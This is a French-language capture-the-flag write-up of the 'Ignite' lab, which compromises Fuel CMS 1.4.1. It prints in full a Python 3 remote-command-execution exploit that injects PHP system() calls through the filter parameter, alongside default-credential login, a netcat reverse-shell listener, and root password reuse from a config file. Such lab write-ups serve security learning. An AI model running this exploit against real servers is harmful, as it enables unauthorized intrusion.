Ignite
Objectif : Obtenir un accès initial, comprendre le chemin d’attaque et élever les privilèges dans le cadre contrôlé du lab.
1. Reconnaissance
Scan initial
Dans un premier temps nous allons faire un scan nmap de la cible :
sudo nmap -sCV --top-port=10000 -T4 -Pn --disable-arp-ping 10.128.172.143 -oN nmap-ignite
Hypothèses de départ
CMSsemble prioritaire car nous sommes dans un contexte de machine easy et qu'aucun autre port sur les 10 000 de scannés n'est ouvert.Version Apache vulnérablereste à vérifier, mais rien ne suggère encore…Une entrée non autorisée dans robots.txt.
2. Énumération Web
Service ou application cible
Pour en savoir plus sur le CMS on va se rendre sur la page web :
Et si on descend plus bas on a les creds par défaut du CMS :
Ce qu'on observe :
Version du CMS: version 1.4 qui pourrait être vulnérable ?Répertoire courant d'install du CMS + creds par défaut: http://IP/fuel + admin:admin
Analyse approfondie
On va tester les creds par défaut du CMS pour voir si l'on peut trouver quelque chose d'intéressant :
On est bien connecté en admin mais après un peu plus de recherche rien n'est exploitable pour obtenir un accès initial sur la cible. On va donc essayer de trouver une vulnérabilité sur le CMS avec searchsploit.
searchsploit fuel
Ici on obtient la version du CMS qui est vulnérable, en l'occurence pour notre cas 1.4.1, on a le choix entre 3 exploits. On va donc les tester dans l'ordre.
searchsploit -m 47138
Une fois l'exploit copié on va lui donner des droits d'exécution mais aussi regarder comment il fonctionne.
sudo chmod +x 47138.py
3. Accès initial
Exploitation de Fuel CMS
On va donc utiliser l'exploit mais après lecture de l'exploit certaines lignes ne nous servent pas (proxy par exemple car nous n'allons pas en utiliser un). Il suffit de modifier l'URL de l'exploit et de l'exécuter. Après quelques erreurs python, je me suis rendu compte que l'exploit était écris en python2 (merci l'IA), il faut donc le ré-écrire en python3 (merci encore l'IA). Voici l'exploit en python3 :
import requests
import urllib.parse
url = "http://IP"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while True:
xxxx = input('cmd: ')
burp0_url = url + "/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27" + urllib.parse.quote(xxxx) + "%27%29%2b%27"
r = requests.get(burp0_url)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text, begin, 2)
print(r.text[0:dup])
Obtention d'un reverse shell
Pour obtenir un reverse shell on a plusieurs manières. Dans mon cas j'ai vérifié si netcat était présent sur la machine cible :
Il est présent sur la cible, cela va simplifier les choses, je vais donc démarrer un listener sur ma machine attaquante :
nc -nvlp 1234
Ensuite je vais récupérer un revshell, j'utilise revshells.compour avoir rapidement des reverse shells.
On va donc lancer cette commande sur la cible distante :
Puis on reçoit bien notre revshell :
Validation de l’accès initial
Ensuite on va se rendre dans le home de notre user pour récupérer le premier flag :
4. Énumération locale
Vérifications initiales
Une fois le premier flag récupéré, je reprends une phase d’énumération locale plutôt que de chercher un exploit au hasard.
id
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
ps aux
ss -lntp
Après toutes ces commandes aucun éléments s'est avéré intéressant. En revanche, je n'ai pas encore regardé dans les fichiers de configuration de fuel-cms, étant donné que c'est un cms il faut forcément une base de données, des fichiers de conf etc...
Recherche des fichiers de configuration
Après un peu d'énum et de recherches on tombe sur le fichier database.php qui contient le password de root :
5. Élévation de privilèges
Réutilisation des identifiants root
Plus qu'à switch de user et récupérer le flag !
Validation des privilèges
6. Remédiations
Correction prioritaire : mettre à jour le CMS et patcher.Réduire les permissions du dossier config de fuel.